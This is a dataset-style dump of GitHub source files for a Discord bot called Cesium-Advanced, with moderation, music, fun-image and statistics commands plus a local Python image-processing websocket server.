@api.one\r\n# def submit_application(self):\r\n# if self.x_ff == '/':\r\n# sequence_id = self.env['ir.sequence'].search([('code', '=', 'account.sequence.ff')])\r\n# sequence_pool = self.env['ir.sequence']\r\n# application_no = sequence_pool.sudo().get_id(sequence_id.id)\r\n# self.write({'x_ff': application_no})\r\n# self.write({'x_prueba': application_no})" } ]
11
JoshuaHumpz/Cesium-Advanced
https://github.com/JoshuaHumpz/Cesium-Advanced
1badf3fb34dc35b496a9e91a80bde0b9b5475e7f
e1712c19126c7794cc206254da6c0d4bb5a50787
fa76911c01811dfdd6e1804622507a816561c699
refs/heads/master
2023-02-13T00:08:30.947745
2020-08-12T00:18:03
2020-08-12T00:18:03
135,858,727
0
1
MIT
2018-06-02T23:16:59
2020-08-12T00:18:06
2023-01-23T19:04:43
JavaScript
[ { "alpha_fraction": 0.43290892243385315, "alphanum_fraction": 0.43290892243385315, "avg_line_length": 31.935483932495117, "blob_id": "70c2dc4481e08c21c94f46d4afd1f98c31e9103d", "content_id": "998858d767a7846bb90b2fbac5a6649caf32c815", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1021, "license_type": "permissive", "max_line_length": 123, "num_lines": 31, "path": "/commands/utility/ping.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = class Ping {\n\n constructor() {\n this.config = {\n name: \"ping\",\n usage: \"None\",\n description: \"Pong?\",\n permission: \"None\",\n category: \"Utility\",\n aliases: []\n };\n }\n\n run(bot, msg) {\n if (!msg.channel.permissionsFor(bot.user).has([\"EMBED_LINKS\", \"SEND_MESSAGES\"])) return;\n return msg.channel.send(\":ping_pong: Hit!\").then(async m => {\n setTimeout(() => {\n m.edit(bot.embed({\n title: \"Pong?\",\n fields: [\n { name: \"Message ping:\", value: `**${Math.floor(m.createdTimestamp - msg.createdTimestamp)}**ms` },\n { name: \"API ping:\", value: `**${Math.floor(bot.ping)}**ms` }\n ],\n footer: `Requested by ${msg.author.tag}`,\n timestamp: true\n }));\n }, m.createdTimestamp - msg.createdTimestamp);\n });\n }\n\n};\n" }, { "alpha_fraction": 0.48376259207725525, "alphanum_fraction": 0.4852556884288788, "avg_line_length": 46, "blob_id": "e40c450263a76bce132c8694a3c70af53399378f", "content_id": "1bd13b3505942ab0e9e2b0f51bbc17ae943000c0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2679, "license_type": "permissive", "max_line_length": 155, "num_lines": 57, "path": "/commands/moderation/kick.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const Command = require(\"../../utils/Command.js\");\n\nmodule.exports = class Kick extends Command {\n\n constructor() {\n super();\n this.config = {\n name: \"kick\",\n usage: \"kick (mention | user_id)\",\n description: \"Kicks a user from this server for the specified reason.\",\n permission: \"Kick Members\",\n category: \"Moderation\",\n aliases: []\n };\n }\n\n run(bot, msg, args) {\n if (!args[0]) return msg.channel.send(`:x: Invalid usage | \\`${msg.prefix}kick (mention | user_id)\\``);\n if (msg.channel.permissionsFor(bot.user).has(\"EMBED_LINKS\") && msg.channel.permissionsFor(bot.user).has(\"KICK_MEMBERS\")) {\n const user = msg.guild.member(msg.mentions.users.first()) || msg.guild.member(args[0]);\n if (!user) {\n return msg.channel.send(\":x: The provided user was not found on this server.\");\n } else {\n if (user.user.equals(bot.user)) {\n return msg.channel.send(bot.embed({\n title: \":white_check_mark: User not Kicked!\",\n description: `You cannot kick the Emerald.`,\n footer: `Not kicked by ${msg.author.tag}`,\n timestamp: true\n }));\n } else if (user.user.equals(msg.author)) {\n return msg.channel.send(bot.embed({\n title: \":white_check_mark: User not Kicked!\",\n description: `You cannot kick your self.`,\n footer: `Not kicked by ${msg.author.tag}`,\n timestamp: true\n }));\n }\n const reason = args.join(\" \").slice(args[0].length + 1);\n if (!reason) return msg.channel.send(\"Please provide a reason why you are kicking this user.\");\n user.kick(`Kicked by ${msg.author.tag} for ${reason}`).then(() => {\n msg.channel.send(bot.embed({\n title: \":white_check_mark: User kicked!\",\n description: `\\`${user.user.tag}\\` has been kicked for \\`${reason}\\` successfully.`,\n footer: `Kicked by ${msg.author.tag}`,\n timestamp: true\n }));\n }).catch(() => {\n msg.channel.send(\":x: This user cannot be kicked.\");\n });\n }\n } else {\n return msg.channel.send(\":x: I am missing the `Kick Members` or the `Embed Links` permission. Please give me both permissions and try again!\");\n }\n }\n\n};\n" }, { "alpha_fraction": 0.611914873123169, "alphanum_fraction": 0.6170212626457214, "avg_line_length": 44.19230651855469, "blob_id": "7b8583b75b20c2925237f9b545e3636bb4aa9c30", "content_id": "c755e4fb20216d6e174867c969277727185b1f0e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1175, "license_type": "permissive", "max_line_length": 180, "num_lines": 26, "path": "/commands/disabled/configuration/setwelcome.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports.run = async (bot, msg, args) => {\n if (!msg.channel.permissionsFor(bot.user).has([\"SEND_MESSAGES\", \"EMBED_LINKS\"])) return;\n\n if (msg.mentions.channels.first() || args[0] === \"reset\") {\n await bot.db.collection(\"configs\").updateOne({ _id: msg.guild.id }, { $set: { welcome_channel: msg.mentions.channels.first() ? msg.mentions.channels.first().id : null } });\n msg.channel.send(bot.embed({\n title: \":white_check_mark: Welcome channel updated!\",\n description: `The welcome channel ${msg.mentions.channels.first() ? `was updated to ${msg.mentions.channels.first()}` : \"has been reset\"}`\n }));\n } else {\n return msg.channel.send(bot.embed({\n title: \":x: Error!\",\n description: \"Please mention a channel or simply type reset.\",\n color: 0xff0000\n }));\n }\n};\n\nmodule.exports.config = {\n name: \"setwelcome\",\n usage: \"setwelcome [#channel | reset]\",\n description: \"Sets the channel for the server (Welcomes/Leaves will be enabled after this setting is applied).\",\n permission: \"Administrator\",\n category: \"Configuration\",\n aliases: [\"swelcome\"]\n};\n" }, { "alpha_fraction": 0.5857605338096619, "alphanum_fraction": 0.6440129280090332, "avg_line_length": 60.79999923706055, "blob_id": "13d1e289040ce2cee6d06d1037f8df4c3a6ec57a", "content_id": "d7fac693248446c7d1803c99f0fe4cb537b5ebf3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 309, "license_type": "permissive", "max_line_length": 136, "num_lines": 5, "path": "/events/guildDelete.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = (bot, guild) => {\n bot.channels.get(\"442766709758361601\").send(`:frowning: I have left \\`${guild.name}\\` I am now in \\`${bot.guilds.size}\\` servers!`);\n bot.user.setActivity(`with ${bot.guilds.size} emeralds | e.help`);\n bot.db.collection(\"configs\").deleteOne({ _id: guild.id });\n};\n" }, { "alpha_fraction": 0.6499999761581421, "alphanum_fraction": 0.6663793325424194, "avg_line_length": 33.14706039428711, "blob_id": "beb54548a746a869fd3cb9f7739cdbc39c0db4ed", "content_id": "8520cde71a249c3cdf3e9966808582a885614cd5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1160, "license_type": "permissive", "max_line_length": 116, "num_lines": 34, "path": "/utils/ImageServer.py", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "import websockets\nimport asyncio\nimport json\nimport requests\nfrom io import BytesIO\nfrom wand.image import Image\n\nasync def ImageSocket(websocket, path):\n while True:\n data = await websocket.recv()\n await handle(data, websocket)\n\nasync def handle(data, websocket):\n resp = json.loads(data)\n avatar = resp.get(\"avatar\")\n depth = resp.get(\"depth\")\n\n if avatar:\n print(f\"Loading magik with avatar: {avatar} and depth: {int(depth)}\");\n r = requests.get(avatar)\n img = Image(file=BytesIO(r.content))\n img.liquid_rescale(width=int(img.width * 0.5), height=int(img.height * 0.5), delta_x=int(depth), rigidity=0)\n img.liquid_rescale(width=int(img.width * 1.5), height=int(img.height * 1.5), delta_x=int(depth), rigidity=0)\n img_byte = BytesIO()\n img.save(file=img_byte)\n img_byte.seek(0)\n print(\"Magik complete returning the image.\")\n return await websocket.send(img_byte.read())\n\nprint(\"Starting websocket.\")\nrun = websockets.serve(ImageSocket, \"127.0.0.1\", 25)\nprint(\"Complete.\")\nasyncio.get_event_loop().run_until_complete(run)\nasyncio.get_event_loop().run_forever()" }, { "alpha_fraction": 0.5326876640319824, "alphanum_fraction": 0.5351089835166931, "avg_line_length": 30.769229888916016, "blob_id": "289bfb2c03383cef27b098a46eebe40c3fd76fd2", "content_id": "5973a04f800b7b378d203967cb7c3e71d7dd4f27", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 826, "license_type": "permissive", "max_line_length": 100, "num_lines": 26, "path": "/commands/utility/avatar.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = class Avatar {\n\n constructor() {\n this.config = {\n name: \"avatar\",\n usage: \"avatar [mention | user_id]\",\n description: \"Sends a users avatar!\",\n permission: \"None\",\n category: \"Utility\",\n aliases: [\"ava\"]\n };\n }\n\n async run(bot, msg, args) {\n if (!msg.channel.permissionsFor(bot.user).has([\"SEND_MESSAGES\", \"ATTACH_FILES\"])) return;\n if (!args[0]) return msg.channel.send(\":x: Please enter mention a user or enter their id!\");\n const avatar = await bot.fetchUser(args[0]).user || msg.member;\n\n if (avatar) {\n msg.channel.send({ file: { attachment: avatar.displayAvatarURL } });\n } else {\n return msg.channel.send(\"Could not find that user.\");\n }\n }\n\n};\n" }, { "alpha_fraction": 0.4552469253540039, "alphanum_fraction": 0.47067901492118835, "avg_line_length": 28.454545974731445, "blob_id": "1e71cde0c63fcc88334ec5923ec0a07a97da9abe", "content_id": "60f113c3c2cda12284e58c5d52de1f3cf3d9876b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 648, "license_type": "permissive", "max_line_length": 127, "num_lines": 22, "path": "/commands/math/add.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = class Add {\n\n constructor() {\n this.config = {\n name: \"add\",\n usage: \"add [number1] [number2]\",\n description: \"Adds to numbers together!\",\n permission: \"None\",\n category: \"Math\",\n aliases: []\n };\n }\n\n run(bot, msg, args) {\n if (!(parseInt(args[0]) || parseInt(args[1]))) {\n return msg.channel.send(`:x: Invalid usage | ${msg.prefix}add [number1] [number2]`);\n } else {\n msg.channel.send(`\\`${args[0]}\\` plus \\`${args[1]}\\` is **${Math.floor(parseInt(args[0]) + parseInt(args[1]))}**`);\n }\n }\n\n};\n" }, { "alpha_fraction": 0.5473220944404602, "alphanum_fraction": 0.549523115158081, "avg_line_length": 42.935482025146484, "blob_id": "69d8f45ece468cc7b3161298ef39a121df42e99a", "content_id": "c4b2bb4c1e9b6d8dab920f9b7c3570279b48356f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1363, "license_type": "permissive", "max_line_length": 230, "num_lines": 31, "path": "/commands/music/skip.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = class Skip {\n\n constructor() {\n this.config = {\n name: \"skip\",\n usage: \"None\",\n description: \"Skips the current playing song then plays the next one.\",\n permission: \"None\",\n category: \"Music\",\n aliases: []\n };\n }\n\n async run(bot, msg) {\n const player = bot.player.players.get(msg.guild.id);\n if (!msg.member.voiceChannel) return msg.channel.send(\":x: You must be in a voice channel first.\");\n if (player) {\n if (msg.member.voiceChannel.id !== msg.guild.me.voiceChannelID) { return msg.channel.send(\":x: You must be in the same voice channel as the bot.\"); } else {\n if (msg.author.id !== player.queue[0].requester.id && !msg.member.hasPermission(\"ADMINISTRATOR\")) return msg.channel.send(\":x: You must be the person who requested this song or have the administrator permission!\");\n player.queue.shift();\n if (player.queue.length === 0) {\n return bot.player.leaveVoice(msg.guild.id);\n } else {\n msg.channel.send(\"The current song has been skipped!\");\n await player.play(player.queue[0].track);\n }\n }\n } else { msg.channel.send(\":x: Nothing is playing to skip!\"); }\n }\n\n};\n\n" }, { "alpha_fraction": 0.5669173002243042, "alphanum_fraction": 0.5714285969734192, "avg_line_length": 38.117645263671875, "blob_id": "3318d0484c026c0ea250dac920de4592f3b3015a", "content_id": "0f018223d836149e98da737f46122ab23ff8245b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 665, "license_type": "permissive", "max_line_length": 96, "num_lines": 17, "path": "/events/guildMemberRemove.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = (bot, member) => {\n bot.db.collection(\"configs\").find({ _id: member.guild.id }).toArray(async (err, config) => {\n if (err) throw err;\n if (!config[0].welcome_channel) return;\n\n const c = member.guild.channels.get(config[0].welcome_channel);\n if (!c) return;\n if (!c.permissionsFor(bot.user).has(\"SEND_MESSAGES\")) return;\n\n c.send(config[0].leave_msg\n .replace(\"e{user}\", member.user.tag)\n .replace(\"e{server_name}\", member.guild.name)\n .replace(\"e{server_id}\", member.guild.id)\n .replace(\"e{server_memcount}\", member.guild.members.size)\n );\n });\n};\n" }, { "alpha_fraction": 0.5170731544494629, "alphanum_fraction": 0.5519163608551025, "avg_line_length": 36.76315689086914, "blob_id": "f99c5d454b999a114242cf9d838ec353699e4519", "content_id": "e964bb3ff036cef45093a6628276891b50a205ec", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1435, "license_type": "permissive", "max_line_length": 189, "num_lines": 38, "path": "/commands/fun/triggered.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const { get } = require(\"superagent\");\nconst { Canvas } = require(\"canvas-constructor\");\nconst fs = require(\"fs\");\nconst path = require(\"path\");\n\nmodule.exports = class Triggered {\n\n constructor() {\n this.config = {\n name: \"triggered\",\n usage: \"triggered [mention | user_id]\",\n description: \"Makes you triggered\",\n permission: \"None\",\n category: \"Fun\",\n aliases: [\"trigger\"]\n };\n }\n\n async run(bot, msg, args) {\n const member = msg.guild.member(msg.mentions.users.first()) || msg.guild.member(args[0]) || msg.member;\n msg.channel.startTyping();\n\n try {\n const pfp = await get(member.user.displayAvatarURL);\n const t1 = await fs.readFileSync(path.join(__dirname, \"..\", \"..\", \"assets\", \"triggered.png\"));\n\n const t2 = new Canvas(256, 256)\n .addImage(pfp.body, 0, 0, 256, 256)\n .addImage(t1, 0, 192, 256, 64);\n const image = await t2.toBufferAsync();\n return msg.channel.send(`**${member.user.username}** is now <:emerald_triggered:438143911018496000>!`, { file: { attachment: image } }).then(() => msg.channel.stopTyping(true));\n } catch (e) {\n msg.channel.stopTyping();\n return msg.channel.send(`:x: Error:\\n\\n\\`\\`\\`xl\\n${e.stack}\\`\\`\\`\\n\\nIf this problem persists please contact Ice#1234`);\n }\n }\n\n};\n" }, { "alpha_fraction": 0.5205377340316772, "alphanum_fraction": 0.5212845206260681, "avg_line_length": 38.382354736328125, "blob_id": "ca90a051df7df6dc2730f92a3a43e0aaa01f5199", "content_id": "a8d5b70bd6d5227fea6dad88a9eb858900534d14", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1339, "license_type": "permissive", "max_line_length": 230, "num_lines": 34, "path": "/commands/music/pause.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = class Pause {\n\n constructor() {\n this.config = {\n name: \"pause\",\n usage: \"None\",\n description: \"Pauses/Resumes the current song\",\n permission: \"None\",\n category: \"Music\",\n aliases: []\n };\n }\n\n run(bot, msg) {\n const player = bot.player.players.get(msg.guild.id);\n if (!msg.member.voiceChannel) return msg.channel.send(\":x: You must be in a voice channel first.\");\n if (player) {\n if (msg.member.voiceChannel.id !== msg.guild.me.voiceChannelID) {\n return msg.channel.send(\":x: You must be in the same voice channel as the bot.\");\n } else {\n if (msg.author.id !== player.queue[0].requester.id && !msg.member.hasPermission(\"ADMINISTRATOR\")) return msg.channel.send(\":x: You must be the person who requested this song or have the administrator permission!\");\n if (player.playing === true) {\n player.pause();\n } else {\n player.resume();\n }\n return msg.channel.send(`:white_check_mark: The player **${player.playing ? \"is now resumed\" : \"is now paused\"}**.`);\n }\n } else {\n msg.channel.send(\":x: Nothing is playing!\");\n }\n }\n\n};\n" }, { "alpha_fraction": 0.7636363506317139, "alphanum_fraction": 0.7636363506317139, "avg_line_length": 26.5, "blob_id": "fe8a0c53e121f6e134cdbceab3e8e627ec9abd20", "content_id": "fa7804db1909e45529f796dfdc03d4b435cf2cf6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 55, "license_type": "permissive", "max_line_length": 36, "num_lines": 2, "path": "/README.md", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "# Cesium-Advanced\nA discord bot coded from the start..\n" }, { "alpha_fraction": 0.5523329377174377, "alphanum_fraction": 0.569987416267395, "avg_line_length": 39.64102554321289, "blob_id": "2e25d4d3e4c1ea8e2f5831e7ce8ae525bd224760", "content_id": "52721e398bc38bdc3b42cdf3ba4c02658043c402", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1586, "license_type": "permissive", "max_line_length": 154, "num_lines": 39, "path": "/commands/fun/magik.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const WebSocket = require(\"ws\");\n\nmodule.exports = class Magik {\n\n constructor() {\n this.config = {\n name: \"magik\",\n usage: \"magik [mention | id] [depth]\",\n description: \"Makes you or someone else Magik.\",\n permission: \"None\",\n category: \"Fun\",\n aliases: []\n };\n }\n\n run(bot, msg, args) {\n if (bot.magikCooldowns.has(msg.author.id)) return msg.channel.send(\":x: This command has a 30 second cooldown.\");\n\n msg.channel.startTyping();\n if (!msg.channel.permissionsFor(bot.user).has([\"SEND_MESSAGES\", \"ATTACH_FILES\"])) return;\n\n const member = msg.guild.member(msg.mentions.users.first()) || msg.guild.member(args[0]) || args[0];\n if (!member) { msg.channel.send(\"You must provide a user or valid image url to be magiked.\"); return msg.channel.stopTyping(true); }\n if (!args[1] || args[1] < 2 || args[1] > 10) { msg.channel.send(\"Please provide a depth between 2 and 10\"); return msg.channel.stopTyping(true); }\n\n bot.magikCooldowns.add(msg.author.id);\n setTimeout(() => bot.magikCooldowns.delete(msg.author.id), 30000);\n\n const Con = new WebSocket(\"ws://127.0.0.1:25/\");\n Con.on(\"open\", () => {\n Con.send(JSON.stringify({ avatar: member.user.displayAvatarURL || args[0], depth: args[1] }));\n });\n Con.on(\"message\", (m) => {\n msg.channel.send(`**${member.user.tag}** has been magikd!`, { file: { attachment: Buffer.from(m) } });\n msg.channel.stopTyping(true);\n });\n }\n\n};\n\n" }, { "alpha_fraction": 0.5802469253540039, "alphanum_fraction": 0.5802469253540039, "avg_line_length": 26, "blob_id": "0fb877b747c78cae2f890edb0a50dc5eaff7f163", "content_id": "3d6ffaacd431cb3b3df9bbc720f5d222a53533dd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 81, "license_type": "permissive", "max_line_length": 40, "num_lines": 3, "path": "/events/warn.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = (bot, warning) => {\n console.log(`[WARNING] ${warning}`);\n};\n" }, { "alpha_fraction": 0.46335911750793457, "alphanum_fraction": 0.48975875973701477, "avg_line_length": 28.293333053588867, "blob_id": "6c78cb73df673a4e936bf4978b65ea759fcfc8ee", "content_id": "3076fd45ca75cc760b557c5f409ea95486ee55a2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4394, "license_type": "permissive", "max_line_length": 92, "num_lines": 150, "path": "/commands/general/stats.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const os = require(\"os\");\n\nmodule.exports = class Stats {\n\n constructor() {\n this.config = {\n name: \"stats\",\n usage: \"None\",\n description: \"Shows my bot statistics\",\n permission: \"None\",\n category: \"General\",\n aliases: [\"info\"]\n };\n }\n\n run(bot, msg) {\n const embed = bot.embed({\n author: {\n name: \"Bot statistics!\",\n icon: bot.user.avatarURL\n },\n fields: [\n { name: \"Music players:\", value: bot.player.players.size, inline: true },\n { name: \"Tic Tac Toe games: \", value: bot.ttt.size, inline: true },\n { name: \"Servers:\", value: bot.guilds.size, inline: true },\n { name: \"Users:\", value: bot.users.size, inline: true },\n { name: \"Commands:\", value: bot.commands.size, inline: true },\n { name: \"System CPU Usage:\", value: handleCpuUsage(), inline: true },\n { name: \"System Free Memory:\", value: handleFreeMemory(), inline: true },\n { name: \"System Memory Usage:\", value: handleMemoryUsage(), inline: true },\n { name: \"Gateway Ping:\", value: `${Math.floor(bot.ping)}ms`, inline: true },\n { name: \"System Uptime:\", value: handleSystemUptime(), inline: true },\n { name: \"Bot Uptime:\", value: handleBotUptime(), inline: true }\n ],\n footer: `Status report requested by ${msg.author.tag}`,\n footerIcon: msg.author.displayAvatarURL\n });\n msg.channel.send(embed);\n }\n\n};\n\nfunction handleMemoryUsage() {\n const free = os.totalmem() - os.freemem();\n const gbConvert = free / 1073741824;\n const total = os.totalmem() / 1073741824;\n return `${gbConvert.toFixed(2)} GB / ${total.toFixed(2)} GB`;\n}\n\nfunction handleFreeMemory() {\n const free = os.totalmem() - os.freemem();\n const gbConvert = free / 1073741824;\n const total = os.totalmem() / 1073741824;\n const newNumber = total.toFixed(2) - gbConvert.toFixed(2);\n return `${newNumber.toFixed(2)} GB`;\n}\n\nfunction handleCpuUsage() {\n let total = 0;\n for (const avg of os.loadavg()) {\n total += Math.floor(avg * 10000 / 100);\n }\n return `${Math.floor(total)}%`;\n}\n\nfunction handleSystemUptime() {\n let uptime = \"\";\n let seconds = Math.floor(os.uptime());\n const days = Math.floor(seconds / (3600 * 24));\n seconds -= days * 3600 * 24;\n const hrs = Math.floor(seconds / 3600);\n seconds -= hrs * 3600;\n const minutes = Math.floor(seconds / 60);\n seconds -= minutes * 60;\n\n if (days > 0) {\n if (days > 1) {\n uptime += `${days} days, `;\n } else {\n uptime += `${days} day, `;\n }\n } else { uptime += \"\"; }\n\n if (hrs > 0) {\n if (hrs > 1) {\n uptime += `${hrs} hours, `;\n } else {\n uptime += `${hrs} hour, `;\n }\n } else { uptime += \"\"; }\n\n if (minutes > 0) {\n if (minutes > 1) {\n uptime += `${minutes} minutes, and `;\n } else {\n uptime += `${minutes} minute, and `;\n }\n } else { uptime += \"\"; }\n\n if (seconds > 1) {\n uptime += `${seconds} seconds`;\n } else {\n uptime += `${seconds} second`;\n }\n\n return uptime;\n}\n\nfunction handleBotUptime() {\n let uptime = \"\";\n let seconds = Math.floor(process.uptime());\n const days = Math.floor(seconds / (3600 * 24));\n seconds -= days * 3600 * 24;\n const hrs = Math.floor(seconds / 3600);\n seconds -= hrs * 3600;\n const minutes = Math.floor(seconds / 60);\n seconds -= minutes * 60;\n\n if (days > 0) {\n if (days > 1) {\n uptime += `${days} days, `;\n } else {\n uptime += `${days} day, `;\n }\n } else { uptime += \"\"; }\n\n if (hrs > 0) {\n if (hrs > 1) {\n uptime += `${hrs} hours, `;\n } else {\n uptime += `${hrs} hour, `;\n }\n } else { uptime += \"\"; }\n\n if (minutes > 0) {\n if (minutes > 1) {\n uptime += `${minutes} minutes, and `;\n } else {\n uptime += `${minutes} minute, and `;\n }\n } else { uptime += \"\"; }\n\n if (seconds > 1) {\n uptime += `${seconds} seconds`;\n } else {\n uptime += `${seconds} second`;\n }\n\n return uptime;\n}\n" }, { "alpha_fraction": 0.5309411287307739, "alphanum_fraction": 0.5320154428482056, "avg_line_length": 28.643312454223633, "blob_id": "3cfa79cfcdb955a48aacbfcc2db386a1a957640e", "content_id": "c6e037ef99534bc1f4e7fc6a413db458f5687822", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4654, "license_type": "permissive", "max_line_length": 111, "num_lines": 157, "path": "/utils/music/AudioNode.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const { EventEmitter } = require(\"events\");\nconst AudioManager = require(\"./AudioManager.js\"); // eslint-disable-line\nconst WebSocket = require(\"ws\");\n\nmodule.exports = class AudioNode extends EventEmitter {\n\n /**\n * Returns an AudioNode for the AudioManager.\n * @param {Manager} Manager - The AudioManager used for making nodes, players, etc.\n */\n constructor(Manager) {\n /**\n * Create the EventEmitter.\n */\n super();\n\n /**\n * Is the node ready?\n * @returns {Boolean}\n */\n this.ready = false;\n\n /**\n * The nodes stats.\n */\n this.stats = null;\n\n /**\n * The AudioManager used for nodes, etc.\n * @type {AudioManager}\n */\n this.Manager = Manager;\n\n /**\n * The WebSocket for the node\n * @type {WebSocket}\n */\n this.ws = null;\n\n /**\n * The AudioNode object returns null if the AudioNode is not ready.\n */\n this.nodeObj = null;\n }\n\n /**\n * Returns an authorization header for the AudioNode.\n * @param {AudioNode} node - The node object containing the node's information.\n * @returns {Object}\n */\n nodeHeader(node) {\n return {\n Authorization: node.password,\n \"Num-Shards\": this.Manager.client.shard ? this.Manager.client.shard.id : 1,\n \"User-Id\": this.Manager.client.user.id\n };\n }\n\n /**\n * Creates the node with the given Object.\n * @param {Object} NodeObj - The nodes host, port and, other node info.\n */\n create(NodeObj) {\n this.ws = new WebSocket(`ws://${NodeObj.host}:${NodeObj.port}`, { headers: this.nodeHeader(NodeObj) });\n this.ws.on(\"open\", this._ready.bind(this));\n this.ws.on(\"message\", this._message.bind(this));\n this.ws.on(\"close\", this._close.bind(this));\n this.ws.on(\"error\", this._error.bind(this));\n }\n\n /**\n * Emitted when the WebSocket receives an ready event.\n * @param {Object} obj - The NodeObject to set.\n * @private\n */\n _ready(obj) {\n this.ready = true;\n this.emit(\"ready\");\n this.nodeObj = obj;\n }\n\n /**\n * Emitted when the WebSocket receives an message event.\n * @param {Object} msg - The message object the node sent.\n * @private\n */\n _message(msg) {\n const resp = JSON.parse(msg);\n this.emit(\"message\", resp);\n switch (resp.op) {\n case \"playerUpdate\": {\n const player = this.Manager.players.get(resp.guildId);\n if (!player) return;\n player.playerState.currentTimestamp = resp.state.time;\n player.playerState.currentPosition = resp.state.position;\n break;\n }\n case \"stats\": {\n this.stats = resp;\n break;\n }\n case \"event\": {\n const player = this.Manager.players.get(resp.guildId);\n if (!player) return;\n switch (resp.type) {\n case \"TrackEndEvent\": {\n player.emit(\"end\", { track: resp.track, reason: resp.reason });\n break;\n }\n case \"TrackStuckEvent\": {\n player.emit(\"stuck\", { track: resp.track, stuckAt: resp.thresholdMs });\n break;\n }\n case \"TrackExceptionEvent\": {\n player.emit(\"error\", { track: resp.track, error: resp.error });\n break;\n }\n default: { player.emit(\"unknown\", { event: resp.type }); }\n }\n }\n }\n }\n\n /**\n * Emitted when the WebSocket receives an close event.\n * @param {number} code - The code for why the WebSocket was closed.\n * @param {string | null} reason - The reason for why the WebSocket was closed and it can return null too.\n * @private\n */\n _close(code, reason) {\n reason = reason ? \"No reason provided.\" : reason;\n if (code === 1000) {\n this.emit(\"close\", `Connection the node closed for: ${reason}`);\n } else {\n this.emit(\"close\", `Connection the node closed unexpectedly for: ${reason}`);\n }\n }\n\n /**\n * Emitted when the WebSocket receives an error event.\n * @param {string} error - The error the WebSocket received.\n * @private\n */\n _error(error) {\n this.emit(\"error\", error);\n }\n\n /**\n * Sends some JSON Object to the WebSocket.\n * @param {Object} object - The JSON Object to send.\n */\n sendToWS(object) {\n object = JSON.stringify(object);\n this.ws.send(object);\n }\n\n};\n" }, { "alpha_fraction": 0.5781409740447998, "alphanum_fraction": 0.5873340368270874, "avg_line_length": 36.653846740722656, "blob_id": "dc766b5044dd785d7023eee7fe56503f3ea0efe7", "content_id": "159a8cf698f5a6f89e9c269521b9b68d392bf131", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 979, "license_type": "permissive", "max_line_length": 126, "num_lines": 26, "path": "/commands/disabled/configuration/addswearword.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports.run = async (bot, msg, args) => {\n if (!msg.channel.permissionsFor(bot.user).has([\"SEND_MESSAGES\", \"EMBED_LINKS\", \"MANAGE_MESSAGES\"])) return;\n\n if (!args[0]) {\n return msg.channel.send(bot.embed({\n title: \":x: Args Error\",\n description: \"Please enter a swear word to add.\",\n color: 0xff0000\n }));\n }\n msg.delete().catch(() => {});\n bot.db.collection(\"configs\").find({ _id: msg.guild.id }).toArray(async (error, config) => {\n config[0].swear_words.push(args[0]);\n await bot.db.collection(\"configs\").updateOne({ _id: msg.guild.id }, { $set: { swear_words: config[0].swear_words } });\n msg.channel.send(\":white_check_mark: Swear word added.\");\n });\n};\n\nmodule.exports.config = {\n name: \"addswearword\",\n usage: \"addswearword [word]\",\n description: \"Adds a swear word.\",\n permission: \"Administrator\",\n category: \"Configuration\",\n aliases: [\"aswearword\", \"asw\"]\n};\n" }, { "alpha_fraction": 0.5458333492279053, "alphanum_fraction": 0.5548611283302307, "avg_line_length": 35.92307662963867, "blob_id": "9027c144ea61828685ee28e758f2c69b3b5c4fb3", "content_id": "774283b0b7d53a98fef0cc72cace2d4042655df0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 